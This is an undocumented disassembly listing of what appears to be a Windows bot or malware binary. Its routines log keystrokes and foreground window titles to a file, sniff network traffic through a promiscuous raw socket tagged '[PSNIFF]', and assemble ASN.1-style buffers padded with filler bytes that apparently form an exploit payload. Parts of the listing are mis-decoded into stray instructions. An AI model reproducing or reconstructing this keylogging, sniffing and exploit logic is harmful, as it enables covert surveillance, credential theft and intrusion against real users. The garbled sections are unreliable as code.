lea eax, [ebp+var_114]
push offset dword_425BCC
push eax
call sub_412610
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_4125E8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
push 1
pop eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: sub_40211A+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_412596
push esi
call sub_412540
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4021F6
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_41FBDC
push 200h
push eax
call sub_41246A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_40F9F1
add esp, 24h
loc_4021F6: ; CODE XREF: sub_40211A+A3j
xor eax, eax
loc_4021F8: ; CODE XREF: sub_40211A+65j
pop esi
leave
retn
sub_40211A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021FB proc near ; DATA XREF: .nsp0:0040BD9Co
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_433A50 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_433A64 ; GetWindowTextA
mov ebx, 200h
loc_402256: ; CODE XREF: sub_4021FB+2C7j
push 8
call dword_41D05C ; Sleep
call dword_433A50 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_4022DE
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_433A64 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_411EEE
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211A
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_411F70
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_411F70
add esp, 0Ch
loc_4022DE: ; CODE XREF: sub_4021FB+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_4022E5: ; CODE XREF: sub_4021FB+2BDj
push 10h
call dword_4339A8 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_433A94 ; GetAsyncKeyState
test ah, 80h
jz short loc_40237D
push 14h
call dword_4339A8 ; GetKeyState
test ax, ax
jz short loc_40232E
cmp esi, 0FFFFFFFFh
jle short loc_40232E
cmp edi, 40h
jle short loc_40232E
cmp edi, 5Bh
jge short loc_40232E
mov [ebp+edi*4+var_8DC], 1
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40232E: ; CODE XREF: sub_4021FB+112j
; sub_4021FB+117j ...
push 14h
call dword_4339A8 ; GetKeyState
test ax, ax
jz short loc_402359
test esi, esi
jge short loc_40236D
cmp edi, 40h
jle short loc_402359
cmp edi, 5Bh
jge short loc_402359
mov [ebp+edi*4+var_8DC], 2
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_402359: ; CODE XREF: sub_4021FB+13Ej
; sub_4021FB+147j ...
test esi, esi
jge short loc_40236D
mov [ebp+edi*4+var_8DC], 3
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40236D: ; CODE XREF: sub_4021FB+142j
; sub_4021FB+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40237D: ; CODE XREF: sub_4021FB+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_4024AD
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_4023B5
call sub_4126F0
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_4023B5: ; CODE XREF: sub_4021FB+1A5j
call sub_4126F0
cmp eax, 1B9h
pop ecx
jbe short loc_4023E7
call dword_433A50 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_433A64 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_402428
; ---------------------------------------------------------------------------
loc_4023E7: ; CODE XREF: sub_4021FB+1C5j
cmp edi, 0Dh
jnz loc_40247F
lea eax, [ebp+var_2DC]
push eax
call sub_4126F0
test eax, eax
pop ecx
jz loc_4024AD
call dword_433A50 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_433A64 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_402428: ; CODE XREF: sub_4021FB+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_411EEE
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211A
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_411F70
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_411F70
add esp, 0Ch
jmp short loc_4024AD
; ---------------------------------------------------------------------------
loc_40247F: ; CODE XREF: sub_4021FB+1EFj
cmp esi, 1
jz short loc_402498
cmp esi, 3
jz short loc_402498
cmp esi, 2
jz short loc_402493
cmp esi, 4
jnz short loc_4024AD
loc_402493: ; CODE XREF: sub_4021FB+291j
push [ebp+arg_0]
jmp short loc_40249F
; ---------------------------------------------------------------------------
loc_402498: ; CODE XREF: sub_4021FB+287j
; sub_4021FB+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40249F: ; CODE XREF: sub_4021FB+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_412610
pop ecx
pop ecx
loc_4024AD: ; CODE XREF: sub_4021FB+12Ej
; sub_4021FB+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_41FBA4
jl loc_4022E5
cmp [ebp+var_4], 0
jz loc_402256
push [ebp+var_D8]
call sub_411CB6
pop ecx
push 0
call near ptr 0AB0000h
iret
sub_4021FB endp
; ---------------------------------------------------------------------------
loc_4024DC: ; DATA XREF: .nsp0:0040BBEDo
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_412770
mov edx, [ebp+8]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp-0B4h]
pop ecx
mov [ebp-8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp-1Ch]
push esi
push eax
call sub_411F70
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push esi
call dword_433AC8 ; ntohs
push dword ptr [ebp-0B4h]
mov [ebp-1Ah], ax
call sub_408045
pop ecx
push eax
call dword_433B08 ; inet_addr
push esi
push 3
push 2
mov [ebp-18h], eax
call dword_433B48 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-4], edi
jnz short loc_4025B1
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset unk_420574
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402594
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_40F9F1
add esp, 14h
loc_402594: ; CODE XREF: .nsp0:00402572j
lea eax, [ebp-2B4h]
push eax
call sub_408E17
push dword ptr [ebp-30h]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
setalc
loc_4025B1: ; CODE XREF: .nsp0:00402552j
mov eax, [ebp-30h]
push 10h
imul eax, 234h
mov dword_438C64[eax], edi
lea eax, [ebp-1Ch]
push eax
push edi
call dword_433AF4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_402636
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset unk_42052C
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402612
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_40F9F1
add esp, 14h
loc_402612: ; CODE XREF: .nsp0:004025F0j
lea eax, [ebp-2B4h]
push eax
call sub_408E17
pop ecx
push edi
call dword_433B60 ; closesocket
push dword ptr [ebp-30h]
call sub_411CB6
pop ecx
push esi
call near ptr 0AB0000h
dec esp
loc_402636: ; CODE XREF: .nsp0:004025D0j
push esi
lea eax, [ebp-20h]
push esi
push eax
push esi
push esi
lea eax, [ebp-8]
push 4
push eax
push 98000001h
push edi
call dword_433A74 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_4026B8+1
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset unk_4204E0
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402695
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_40F9F1
add esp, 14h
loc_402695: ; CODE XREF: .nsp0:00402673j
lea eax, [ebp-2B4h]
push eax
call sub_408E17
pop ecx
push edi
call dword_433B60 ; closesocket
push dword ptr [ebp-30h]
call sub_411CB6
pop ecx
push esi
call near ptr 0AB0000h
loc_4026B8: ; CODE XREF: .nsp0:00402653j
; .nsp0:004026BBj
mov [ebx-45h], dl
js short near ptr loc_4026B8+1
inc ecx
add [edi+0FFFFh], bh ; CODE XREF: .nsp0:004026F7j
; .nsp0:00402709j ...
lea eax, [ebp-102B4h]
push edi
push esi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp-102B4h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_433AE0 ; recv
cmp eax, 0FFFFFFFFh
jz loc_4027D1
cmp byte ptr [ebp-102ABh], 6
jnz short near ptr loc_4026BE+1
mov eax, [ebp-102A8h]
cmp byte ptr [ebp-10293h], 18h
mov [ebp-0Ch], eax
jnz short near ptr loc_4026BE+1
lea eax, [ebp-1028Ch]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_4124C0
pop ecx
test eax, eax
pop ecx
jnz short near ptr loc_4026BE+1
mov eax, ebx
xor edi, edi
test eax, eax
jz short near ptr loc_4026BE+1
mov [ebp+8], ebx
loc_40272D: ; CODE XREF: .nsp0:00402748j
push eax
lea eax, [ebp-1028Ch]
push eax
call sub_4124C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40274F
inc edi
add dword ptr [ebp+8], 18h
mov eax, [ebp+8]
jnz short loc_40272D
jmp near ptr loc_4026BE+1
; ---------------------------------------------------------------------------
loc_40274F: ; CODE XREF: .nsp0:0040273Ej
lea eax, [ebp-1028Ch]
push eax
push dword ptr [ebp-102A0h]
call dword_433A04 ; ntohs
movzx eax, ax
push eax
push dword ptr [ebp-0Ch]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_41FC8C[eax*8]
push off_41FC70[eax*4]
lea eax, [ebp-2B4h]
push offset unk_42048C
push 200h
push eax
call sub_41246A
add esp, 1Ch
cmp [ebp-28h], esi
jnz short loc_4027BF
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_40F9F1
add esp, 14h
loc_4027BF: ; CODE XREF: .nsp0:0040279Dj
lea eax, [ebp-2B4h]
push eax
call sub_408E17
pop ecx
jmp near ptr loc_4026BE+1
; ---------------------------------------------------------------------------
loc_4027D1: ; CODE XREF: .nsp0:004026EAj
call dword_433A5C ; WSAGetLastError
push eax
push offset unk_420444
lea eax, [ebp-2B4h]
push 200h
push eax
call sub_41246A
add esp, 10h
cmp [ebp-28h], esi
pop ebx
jnz short loc_402817
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_40F9F1
add esp, 14h
loc_402817: ; CODE XREF: .nsp0:004027F5j
lea eax, [ebp-2B4h]
push eax
call sub_408E17
pop ecx
push dword ptr [ebp-4]
call dword_433B60 ; closesocket
push dword ptr [ebp-30h]
call sub_411CB6
pop ecx
push esi
call near ptr 0AB0000h
dec ecx
; =============== S U B R O U T I N E =======================================
sub_40283D proc near ; CODE XREF: sub_402AB1+Ep
; sub_402AB1+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40283D endp
; =============== S U B R O U T I N E =======================================
sub_402847 proc near ; CODE XREF: sub_402AB1+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41279F
mov edi, eax
pop ecx
test edi, edi
jz short loc_402879
push ebx
push 0
push edi
call sub_411F70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_411FD0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_402879: ; CODE XREF: sub_402847+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_402847 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402881 proc near ; CODE XREF: sub_40297B+18p
; sub_4029F5+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41279F
mov esi, eax
pop ecx
test esi, esi
jz short loc_4028CD
push edi
push 0
push esi
call sub_411F70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_411FD0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_411FD0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4028CD: ; CODE XREF: sub_402881+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_402881 endp
; =============== S U B R O U T I N E =======================================
sub_4028D6 proc near ; CODE XREF: sub_40297B+5Ep
; sub_40297B+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4028E6
push eax
call sub_412813
pop ecx
loc_4028E6: ; CODE XREF: sub_4028D6+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4028D6 endp
; =============== S U B R O U T I N E =======================================
sub_4028EF proc near ; CODE XREF: sub_40297B+20p
; sub_402A56+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40291C
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41279F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_402920
loc_40291C: ; CODE XREF: sub_4028EF+Dj
xor al, al
jmp short loc_402977
; ---------------------------------------------------------------------------
loc_402920: ; CODE XREF: sub_4028EF+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_411F70
add esp, 0Ch
cmp ebx, 1
jnz short loc_402945
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40295F
; ---------------------------------------------------------------------------
loc_402945: ; CODE XREF: sub_4028EF+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40295F: ; CODE XREF: sub_4028EF+54j
push eax
call sub_411FD0
add esp, 0Ch
push dword ptr [esi]
call sub_412813
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_402977: ; CODE XREF: sub_4028EF+2Fj
pop edi
pop esi
pop ebx
retn
sub_4028EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40297B proc near ; CODE XREF: sub_402AB1+89p
; sub_402AB1+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_432704
call sub_402881
lea ecx, [ebp+var_8]
call sub_4028EF
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41279F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4029B5
xor al, al
jmp short loc_4029F1
; ---------------------------------------------------------------------------
loc_4029B5: ; CODE XREF: sub_40297B+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_411F70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_411FD0
add esp, 18h
mov ecx, esi
call sub_4028D6
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4028D6
mov al, 1
loc_4029F1: ; CODE XREF: sub_40297B+38j
pop edi
pop esi
leave
retn
sub_40297B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029F5 proc near ; CODE XREF: sub_402A29+14p
; sub_402A46+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_402881
mov ecx, esi
call sub_4028D6
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4029F5 endp
; =============== S U B R O U T I N E =======================================
sub_402A29 proc near ; CODE XREF: sub_402AB1+F0p
; sub_402AB1+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4126F0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_4029F5
pop esi
retn 4
sub_402A29 endp
; =============== S U B R O U T I N E =======================================
sub_402A46 proc near ; CODE XREF: sub_402A92+Bp
; sub_402AB1+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4029F5
retn 8
sub_402A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A56 proc near ; CODE XREF: sub_402A92+16p
; sub_402AB1+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4028EF
test al, al
jz short loc_402A8F
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_420927+1)
call sub_402881
mov ecx, esi
call sub_4028D6
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_402A8F: ; CODE XREF: sub_402A56+Fj
pop esi
leave
retn
sub_402A56 endp
; =============== S U B R O U T I N E =======================================
sub_402A92 proc near ; CODE XREF: sub_402AB1+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_402A46
test al, al
jz short loc_402AAD
mov ecx, esi
call sub_402A56
loc_402AAD: ; CODE XREF: sub_402A92+12j
pop esi
retn 8
sub_402A92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402AB1 proc near ; CODE XREF: sub_4032B0+86p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40283D
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_402E05
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_402E05
push esi
lea ecx, [ebp+var_30]
call sub_40283D
lea ecx, [ebp+var_20]
call sub_40283D
lea ecx, [ebp+var_50]
call sub_40283D
lea ecx, [ebp+var_18]
call sub_40283D
lea ecx, [ebp+var_40]
call sub_40283D
lea ecx, [ebp+var_38]
call sub_40283D
lea ecx, [ebp+var_28]
call sub_40283D
push 4
push offset dword_4205C8
lea ecx, [ebp+var_30]
call sub_4029F5
push 3
push offset dword_4205D0
lea ecx, [ebp+var_30]
call sub_4029F5
lea ecx, [ebp+var_30]
call sub_40297B
lea ecx, [ebp+var_30]
call sub_402A56
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_411F70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_4029F5
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4029F5
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_4029F5
lea ecx, [ebp+var_20]
call sub_40297B
push offset loc_420950
lea ecx, [ebp+var_50]
call sub_402A29
lea ecx, [ebp+var_50]
call sub_40297B
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_402847
lea ecx, [ebp+var_58]
call sub_40297B
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_402A92
lea ecx, [ebp+var_58]
call sub_4028D6
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_411F70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_402A29
push 4
push offset dword_4205D4
lea ecx, [ebp+var_18]
call sub_4029F5
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4029F5
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4029F5
lea ecx, [ebp+var_18]
call sub_40297B
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_402A46
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_402A46
lea ecx, [ebp+var_40]
call sub_402A56
lea ecx, [ebp+var_18]
call sub_4028D6
lea ecx, [ebp+var_50]
call sub_4028D6
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_402A46
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_402A46
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_402A46
lea ecx, [ebp+var_38]
call sub_402A56
lea ecx, [ebp+var_20]
call sub_4028D6
lea ecx, [ebp+var_30]
call sub_4028D6
lea ecx, [ebp+var_40]
call sub_4028D6
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4029F5
lea ecx, [ebp+var_28]
call sub_40297B
push 2
push offset dword_420944
lea ecx, [ebp+var_28]
call sub_4029F5
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_402A46
lea ecx, [ebp+var_28]
call sub_402A56
lea ecx, [ebp+var_38]
call sub_4028D6
lea ecx, [ebp+var_10]
call sub_40283D
lea ecx, [ebp+var_8]
call sub_40283D
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_402A46
lea ecx, [ebp+var_10]
call sub_4028EF
lea ecx, [ebp+var_28]
call sub_4028D6
push offset dword_420940
lea ecx, [ebp+var_8]
call sub_402A29
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_402A46
lea ecx, [ebp+var_8]
call sub_4028EF
lea ecx, [ebp+var_10]
call sub_4028D6
push offset dword_42093C
lea ecx, [ebp+var_10]
call sub_402A29
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_402A46
lea ecx, [ebp+var_10]
call sub_4028EF
lea ecx, [ebp+var_8]
call sub_4028D6
push offset dword_420930
lea ecx, [ebp+var_8]
call sub_402A29
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_402A46
lea ecx, [ebp+var_8]
call sub_4028EF
lea ecx, [ebp+var_10]
call sub_4028D6
push offset dword_42092C
lea ecx, [ebp+var_48]
call sub_402A29
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_402A46
lea ecx, [ebp+var_8]
call sub_4028D6
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_402E13
; ---------------------------------------------------------------------------
loc_402E05: ; CODE XREF: sub_402AB1+1Bj
; sub_402AB1+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_402E13: ; CODE XREF: sub_402AB1+352j
pop edi
pop ebx
leave
retn
sub_402AB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E17 proc near ; CODE XREF: sub_402EDB+A1p
; sub_402EDB+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_41D1E0 ; select
cmp eax, edi
jnz short loc_402E7E
lea eax, [ebp+var_10C]
push eax
push esi
call sub_41C9D6 ; __WSAFDIsSet
test eax, eax
jnz short loc_402E82
loc_402E7E: ; CODE XREF: sub_402E17+54j
xor eax, eax
jmp short loc_402E92
; ---------------------------------------------------------------------------
loc_402E82: ; CODE XREF: sub_402E17+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_433AE0 ; recv
loc_402E92: ; CODE XREF: sub_402E17+69j
pop edi
pop esi
leave
retn
sub_402E17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E96 proc near ; CODE XREF: sub_402EDB+81p
; sub_402EDB+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_433AC4 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_433B18 ; send
cmp eax, 4
jz short loc_402EC0
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_402EC0: ; CODE XREF: sub_402E96+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_433B18 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_402E96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
